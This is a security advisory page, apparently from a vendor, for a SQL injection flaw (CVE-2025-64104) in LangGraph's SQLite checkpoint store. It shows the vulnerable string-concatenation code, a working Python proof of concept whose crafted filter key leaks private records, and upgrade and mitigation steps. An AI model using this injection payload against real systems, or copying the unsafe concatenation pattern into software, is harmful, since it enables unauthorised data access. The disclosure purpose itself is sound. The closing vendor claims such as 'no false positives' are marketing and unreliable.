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🐍 PyPI

GHSA-7p73-8jqx-23r8

HIGH

LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore

Also known asCVE-2025-64104
Published
Oct 29, 2025
Updated
Oct 29, 2025
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk6th percentile+0.12%
0.00%0.22%0.44%0.66%0.0%0.2%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍langgraph-checkpoint-sqlite

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

  1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
  2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIlanggraph-checkpoint-sqliteall versions2.0.11

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langgraph-checkpoint-sqlite. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update langgraph-checkpoint-sqlite to 2.0.11 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7p73-8jqx-23r8 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-7p73-8jqx-23r8 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-7p73-8jqx-23r8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. ### Details [`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407) The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within
O3 Security · Impact-Aware SCA

Is GHSA-7p73-8jqx-23r8 in your dependencies?

O3 detects GHSA-7p73-8jqx-23r8 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.